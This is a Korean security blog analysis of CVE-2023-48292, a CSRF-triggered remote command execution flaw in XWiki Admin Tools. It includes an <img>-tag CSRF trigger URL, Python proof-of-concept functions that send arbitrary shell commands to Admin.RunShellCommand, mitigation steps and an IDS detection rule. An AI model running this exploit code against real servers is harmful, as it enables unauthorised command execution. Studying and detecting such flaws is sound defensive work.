XWiki Admin Tools Application 이란?
- XWiki 인스턴스를 관리하기 위한 다양한 도구를 제공하는 애플리케이션
- Admin.RunShellCommand는 XWiki Admin Tools Application 내의 특정 기능 페이지 중 하나로, 서버에서 쉘 명령어를 실행하는 기능을 담당
CSRF(Cross-Site Request Forgery)란?
- 공격자가 사용자가 신뢰하는 웹 애플리케이션에서 사용자의 권한을 도용하여 원하지 않는 요청을 실행시키는 취약점
- 하기 취약점의 경우, 공격자가 악성 URL을 포함한 콘텐츠를 삽입하고, 관리자가 악성 URL이 포함된 콘텐츠 확인 시 공격 실행됨
취약점 설명
XWiki Admin Tools Application에 CSRF 보호를 위한 토큰 검증 로직이 누락되어 발생하는 취약점입니다.
공격자는 관리자 권한으로 로그인된 사용자를 속여, Admin.RunShellCommand 페이지로 악의적인 요청을 유도할 수 있으며, 이로 인해 사용자의 의도와 무관하게 서버에서 명령어가 실행될 수 있습니다.
취약점 분석
Admin.RunShellCommand는 관리자 전용 기능 페이지로, 서버에서 임의의 쉘 명령어를 실행할 수 있는 기능을 제공합니다.
그러나 해당 기능은 요청에 대한 CSRF 토큰 검증 로직이 없어, 요청의 정당성을 확인하지 않습니다.
이로 인해 공격자는 <img src=”...”> 와 같은 HTML 요소를 활용하여 악의적인 명령어가 포함된 URL을 위키 페이지나 댓글 등에 삽입할 수 있으며, 관리자가 해당 페이지 열람 시 명령이 자동 실행됩니다.
[CSRF 공격 과정]
1) CSRF 트리거 요소 삽입(예: 댓글, 위키 페이지)
- 공격자는 <img> 태그와 같은 HTML 요소를 사용하여 관리자가 방문할 페이지에 악성 요청이 포함된 URL 삽입
- Admin.RunShellCommand 페이지를 호출하고 command 파라미터에 악성 명령어를 포함하는 URL 제작
- 예시: <img src="hxxps://vulnerable-xwiki.com/xwiki/bin/view/Admin/RunShellCommand?command=touch%20/tmp/attacked">
2) 관리자 권한을 가진 사용자가 페이지 열람
- 관리자가 XWiki에 로그인한 상태에서 해당 URL이 포함된 페이지를 열람하면, 관리자의 브라우저는 추가 인증 없이(CSRF 토큰 없이) 서버에 요청을 보냅니다.
3) 명령어 실행
- XWiki 서버는 이 요청이 관리자로부터 온 것으로 판단하고 command 파라미터의 명령어를 실행합니다. (touch /tmp/attacked 명령어 실행 → 서버의 /tmp 디렉터리에 attacked 파일이 생성됨)
[RCE 공격 과정]
def check_vulnerability(target_url, method):
"""
Check if the target URL is vulnerable to the CVE-2023-48292 vulnerability.
We send a test payload and inspect the response to determine if the vulnerability exists.
"""
try:
# Test payload to check for vulnerability
test_payload = "echo 'testtesttest1234'" # Payload to execute a test command on the target system
vulnerable_url = f"{target_url}/xwiki/bin/view/Admin/RunShellCommand?command={test_payload}"
if method == "GET":
response = get(vulnerable_url, headers=HEADERS)
else: # method == "POST"
response = post(vulnerable_url, headers=HEADERS)
if response.status_code == 200 and "testtesttest1234" in response.text:
logging.info("Target is vulnerable! Command execution test succeeded.")
return True
else:
logging.info("Target does not appear to be vulnerable.")
return False
except RequestException as error:
logging.error(f"HTTP Request Error: {error}")
sys.exit(1)
check_vulnerability(): 대상 서버의 Admin.RunShellCommand 기능이 실제 명령어를 실행하는지 확인하는 함수
- test_payload로 echo 명령어를 사용하여 문자열("testtesttest1234")을 출력하도록 시도
- 이 요청은 직접 서버에 명령을 보내는 것이므로, 해당 요청이 성공하려면 관리자 권한의 세션이 있는 상태여야 함
- 응답에 "testtesttest1234" 문자열이 포함되어 있다면, 명령이 실제로 실행되었음을 의미하며, 이는 Admin.RunShellCommand 기능이 인증 없이 외부 요청을 처리한다는 취약점이 존재함을 의미
- 해당 방식은 CSRF 공격이 아닌, RCE 가능성 여부를 판단하기 위한 테스트
def perform_attack(target_url, payload, method):
"""
Perform the attack by sending a custom payload to the vulnerable server.
"""
try:
logging.info(f"Attempting attack with payload: {payload}")
vulnerable_url = f"{target_url}/xwiki/bin/view/Admin/RunShellCommand?command={payload}"
if method == "GET":
response = get(vulnerable_url, headers=HEADERS)
else: # method == "POST"
response = post(vulnerable_url, headers=HEADERS)
if response.status_code == 200:
logging.info(f"Attack successful! Response: {response.text[:100]}...") # Display a snippet of the response
else:
logging.warning("Attack attempt failed.")
except RequestException as error:
logging.error(f"HTTP Request Error: {error}")
sys.exit(1)
perform_attack(): 공격자가 작성한 임의의 명령어(payload)를 실행하여 명령 실행 결과를 확인하는 함수
- 대상 URL에 명령을 포함하여 요청을 전송하며, 관리자 권한이 없는 경우 공격은 실패함
- 공격이 성공하면 응답 본문에서 명령어 실행 결과의 일부(최대 100자까지) 확인 가능
[PoC 코드 실행 결과]
- XWiki의 /Admin/RunShellCommand가 외부 요청을 통해 명령어를 실행하는지 여부를 점검(관리자 세션 필요)
- 관리자 세션이 있는 경우 Command 파라미터에 시스템 명령어 삽입을 통해 악성 명령어를 실행할 수 있음
[결론]
- 본 취약점은 공격자가 직접 서버와 통신하지 않고, 관리자 세션을 통해 악성 요청을 유도하여 공격을 수행하는 CSRF 공격을 통한 RCE 취약점
- 공격자는 악성 URL을 위키 페이지, 댓글 등에 삽입해 관리자가 이를 열람하도록 유도함
- 명령어 실행은 서버 측의 취약한 엔드포인트(/Admin/RunShellCommand)와 관리자 세션의 결합으로 가능하며, 공격자는 이를 통해 서버에서 명령을 실행함
[공격 영향]
공격자는 관리자 권한으로 서버에 대한 명령을 실행할 수 있으므로, 시스템 정보 탈취, 파일 삭제, 백도어 설치 등 심각한 피해가 발생할 수 있음
[영향 받는 버전]
취약 버전: 4.4 이상 4.5.1 미만
완화 버전: 4.5.1
[완화 방법]
패치 적용: 4.5.1 이상 버전으로 업데이트
수동 패치: Admin.RunShellCommand 페이지를 사용하지 않는 경우 해당 페이지 삭제
탐지 패턴 예시
아래 탐지 패턴은 IPS,WAF 등 보안 솔루션에 따라 패턴이 일부 변경될 수 있음.
Admin/RunShellCommand 경로에 대한 접근 탐지
alert tcp any any -> $HOME_NET any (
msg: "XWiki Admin.RunShellCommand RCE via CSRF (CVE-2023-48292)";
flow: to_server, established;
uricontent:"/xwiki/"; nocase;
uricontent:"/Admin/RunShellCommand?command="; nocase;
distance:0;
classtype: web-application-attack;
sid: 20250821; rev:1;
)
https://github.com/xwiki-contrib/application-admintools/security/advisories/GHSA-8jpr-ff92-hpf9
https://jira.xwiki.org/browse/ADMINTOOL-91
https://www.exploit-db.com/exploits/52105
https://github.com/Mehran-Seifalinia/CVE-Exploits/tree/main/2023/CVE-2023-48292
'보안 > PoC 분석' 카테고리의 다른 글
OpenPanel에서 발생하는 OS Command Injection(CVE-2024-53584) (0) | 2025.06.22 |
---|